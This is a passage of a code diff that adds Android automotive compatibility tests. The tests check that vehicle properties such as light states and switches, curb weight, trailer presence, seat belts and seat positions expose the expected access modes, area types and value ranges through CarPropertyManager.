+    public void testHeadlightsStateIfSupported() {
+        adoptSystemLevelPermission(/*Car.PERMISSION_EXTERIOR_LIGHTS=*/
+                "android.car.permission.CAR_EXTERIOR_LIGHTS", () -> {
+                    VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HEADLIGHTS_STATE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_STATES)
+                            .build().verify(mCarPropertyManager);
+                });
+    }
+
+    @Test
+    public void testHighBeamLightsStateIfSupported() {
+        adoptSystemLevelPermission(/*Car.PERMISSION_EXTERIOR_LIGHTS=*/
+                "android.car.permission.CAR_EXTERIOR_LIGHTS", () -> {
+                    VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HIGH_BEAM_LIGHTS_STATE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_STATES)
+                            .build().verify(mCarPropertyManager);
+                });
+    }
+
+    @Test
+    public void testFogLightsStateIfSupported() {
+        adoptSystemLevelPermission(/*Car.PERMISSION_EXTERIOR_LIGHTS=*/
+                "android.car.permission.CAR_EXTERIOR_LIGHTS", () -> {
+                    VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.FOG_LIGHTS_STATE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_STATES)
+                            .setCarPropertyValueVerifier(
+                                (carPropertyConfig, carPropertyValue) -> {
+                                    assertWithMessage(
+                                            "FRONT_FOG_LIGHTS_STATE must not be implemented"
+                                                    + "when FOG_LIGHTS_STATE is implemented")
+                                            .that(mCarPropertyManager.getCarPropertyConfig(
+                                                    VehiclePropertyIds.FRONT_FOG_LIGHTS_STATE))
+                                            .isNull();
+
+                                    assertWithMessage(
+                                            "REAR_FOG_LIGHTS_STATE must not be implemented"
+                                                    + "when FOG_LIGHTS_STATE is implemented")
+                                            .that(mCarPropertyManager.getCarPropertyConfig(
+                                                    VehiclePropertyIds.REAR_FOG_LIGHTS_STATE))
+                                            .isNull();
+                                }).build().verify(mCarPropertyManager);
+                });
+    }
+
+    @Test
+    public void testHazardLightsStateIfSupported() {
+        adoptSystemLevelPermission(/*Car.PERMISSION_EXTERIOR_LIGHTS=*/
+                "android.car.permission.CAR_EXTERIOR_LIGHTS", () -> {
+                    VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HAZARD_LIGHTS_STATE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_STATES)
+                            .build().verify(mCarPropertyManager);
+                });
+    }
+
+    @Test
+    public void testFrontFogLightsStateIfSupported() {
+        adoptSystemLevelPermission(/*Car.PERMISSION_EXTERIOR_LIGHTS=*/
+                "android.car.permission.CAR_EXTERIOR_LIGHTS", () -> {
+                    VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.FRONT_FOG_LIGHTS_STATE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_STATES)
+                            .setCarPropertyValueVerifier(
+                                (carPropertyConfig, carPropertyValue) -> {
+                                    assertWithMessage(
+                                            "FOG_LIGHTS_STATE must not be implemented"
+                                                    + "when FRONT_FOG_LIGHTS_STATE is implemented")
+                                            .that(mCarPropertyManager.getCarPropertyConfig(
+                                                    VehiclePropertyIds.FOG_LIGHTS_STATE))
+                                            .isNull();
+                                }).build().verify(mCarPropertyManager);
+                });
+    }
+
+    @Test
+    public void testRearFogLightsStateIfSupported() {
+        adoptSystemLevelPermission(/*Car.PERMISSION_EXTERIOR_LIGHTS=*/
+                "android.car.permission.CAR_EXTERIOR_LIGHTS", () -> {
+                    VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.REAR_FOG_LIGHTS_STATE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_STATES)
+                            .setCarPropertyValueVerifier(
+                                (carPropertyConfig, carPropertyValue) -> {
+                                    assertWithMessage(
+                                            "FOG_LIGHTS_STATE must not be implemented"
+                                                    + "when REAR_FOG_LIGHTS_STATE is implemented")
+                                            .that(mCarPropertyManager.getCarPropertyConfig(
+                                                    VehiclePropertyIds.FOG_LIGHTS_STATE))
+                                            .isNull();
+                                }).build().verify(mCarPropertyManager);
+                });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testCabinLightsStateIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_READ_INTERIOR_LIGHTS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.CABIN_LIGHTS_STATE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_STATES)
+                    .build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testReadingLightsStateIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_READ_INTERIOR_LIGHTS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.READING_LIGHTS_STATE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_STATES)
+                    .build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testVehicleCurbWeightIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_PRIVILEGED_CAR_INFO, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.VEHICLE_CURB_WEIGHT,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_STATIC,
+                    Integer.class).setConfigArrayVerifier(configArray -> {
+                assertWithMessage(
+                        "VEHICLE_CURB_WEIGHT configArray must contain the gross weight in "
+                                + "kilograms").that(configArray).hasSize(1);
+                assertWithMessage(
+                        "VEHICLE_CURB_WEIGHT configArray[0] must contain the gross weight in "
+                                + "kilograms and be greater than zero").that(
+                        configArray.get(0)).isGreaterThan(0);
+            }).setCarPropertyValueVerifier((carPropertyConfig, carPropertyValue) -> {
+                Integer curbWeightKg = (Integer) carPropertyValue.getValue();
+                Integer grossWeightKg = carPropertyConfig.getConfigArray().get(0);
+
+                assertWithMessage("VEHICLE_CURB_WEIGHT must be greater than zero").that(
+                        curbWeightKg).isGreaterThan(0);
+                assertWithMessage("VEHICLE_CURB_WEIGHT must be less than the gross weight").that(
+                        curbWeightKg).isLessThan(grossWeightKg);
+            }).build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    public void testHeadlightsSwitchIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_EXTERIOR_LIGHTS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HEADLIGHTS_SWITCH,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_SWITCHES)
+                    .build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    public void testTrailerPresentIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_PRIVILEGED_CAR_INFO, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.TRAILER_PRESENT,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Integer.class).setPossibleCarPropertyValues(
+                    ImmutableSet.of(/*TrailerState.UNKNOWN=*/
+                            0, /*TrailerState.NOT_PRESENT*/
+                            1, /*TrailerState.PRESENT=*/2, /*TrailerState.ERROR=*/
+                            3)).build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    public void testHighBeamLightsSwitchIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_EXTERIOR_LIGHTS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HIGH_BEAM_LIGHTS_SWITCH,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_SWITCHES)
+                    .build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    public void testFogLightsSwitchIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_EXTERIOR_LIGHTS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.FOG_LIGHTS_SWITCH,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_SWITCHES)
+                    .setCarPropertyValueVerifier((carPropertyConfig, carPropertyValue) -> {
+                        assertWithMessage("FRONT_FOG_LIGHTS_SWITCH must not be implemented"
+                                + "when FOG_LIGHTS_SWITCH is implemented")
+                                .that(mCarPropertyManager.getCarPropertyConfig(
+                                        VehiclePropertyIds.FRONT_FOG_LIGHTS_SWITCH)).isNull();
+
+                        assertWithMessage("REAR_FOG_LIGHTS_SWITCH must not be implemented"
+                                + "when FOG_LIGHTS_SWITCH is implemented")
+                                .that(mCarPropertyManager.getCarPropertyConfig(
+                                        VehiclePropertyIds.REAR_FOG_LIGHTS_SWITCH)).isNull();
+                    }).build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    public void testHazardLightsSwitchIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_EXTERIOR_LIGHTS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.HAZARD_LIGHTS_SWITCH,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_SWITCHES)
+                    .build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    public void testFrontFogLightsSwitchIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_EXTERIOR_LIGHTS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.FRONT_FOG_LIGHTS_SWITCH,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_SWITCHES)
+                    .setCarPropertyValueVerifier((carPropertyConfig, carPropertyValue) -> {
+                        assertWithMessage("FOG_LIGHTS_SWITCH must not be implemented"
+                                + "when FRONT_FOG_LIGHTS_SWITCH is implemented")
+                                .that(mCarPropertyManager.getCarPropertyConfig(
+                                        VehiclePropertyIds.FOG_LIGHTS_SWITCH)).isNull();
+                    }).build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    public void testRearFogLightsSwitchIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_EXTERIOR_LIGHTS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.REAR_FOG_LIGHTS_SWITCH,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_SWITCHES)
+                    .setCarPropertyValueVerifier((carPropertyConfig, carPropertyValue) -> {
+                        assertWithMessage("FOG_LIGHTS_SWITCH must not be implemented"
+                                + "when REAR_FOG_LIGHTS_SWITCH is implemented")
+                                .that(mCarPropertyManager.getCarPropertyConfig(
+                                        VehiclePropertyIds.FOG_LIGHTS_SWITCH)).isNull();
+                    }).build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testCabinLightsSwitchIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_INTERIOR_LIGHTS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.CABIN_LIGHTS_SWITCH,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_SWITCHES)
+                    .build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testReadingLightsSwitchIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_INTERIOR_LIGHTS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.READING_LIGHTS_SWITCH,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).setPossibleCarPropertyValues(VEHICLE_LIGHT_SWITCHES)
+                    .build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testSeatBeltBuckledIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_BELT_BUCKLED,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                    Boolean.class).build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    public void testSeatBeltHeightPosIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_BELT_HEIGHT_POS,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues().build()
+                    .verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    public void testSeatBeltHeightMoveIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_BELT_HEIGHT_MOVE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues()
+                    .requireZeroToBeContainedInMinMaxRanges().build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    public void testSeatForeAftPosIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_FORE_AFT_POS,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues().build()
+                    .verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    public void testSeatForeAftMoveIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_FORE_AFT_MOVE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues()
+                    .requireZeroToBeContainedInMinMaxRanges().build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    public void testSeatBackrestAngle1PosIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_BACKREST_ANGLE_1_POS,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues().build()
+                    .verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    public void testSeatBackrestAngle1MoveIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_BACKREST_ANGLE_1_MOVE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues()
+                    .requireZeroToBeContainedInMinMaxRanges().build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    public void testSeatBackrestAngle2PosIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_BACKREST_ANGLE_2_POS,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues().build()
+                    .verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    public void testSeatBackrestAngle2MoveIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_BACKREST_ANGLE_2_MOVE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues()
+                    .requireZeroToBeContainedInMinMaxRanges().build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testSeatHeightPosIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_HEIGHT_POS,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues().build()
+                    .verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testSeatHeightMoveIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_HEIGHT_MOVE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues()
+                    .requireZeroToBeContainedInMinMaxRanges().build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testSeatDepthPosIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_DEPTH_POS,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues().build()
+                    .verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testSeatDepthMoveIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_DEPTH_MOVE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues()
+                    .requireZeroToBeContainedInMinMaxRanges().build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testSeatTiltPosIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_TILT_POS,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues().build()
+                    .verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testSeatTiltMoveIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_TILT_MOVE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues()
+                    .requireZeroToBeContainedInMinMaxRanges().build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testSeatLumbarForeAftPosIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_LUMBAR_FORE_AFT_POS,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues().build()
+                    .verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#setProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testSeatLumbarForeAftMoveIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
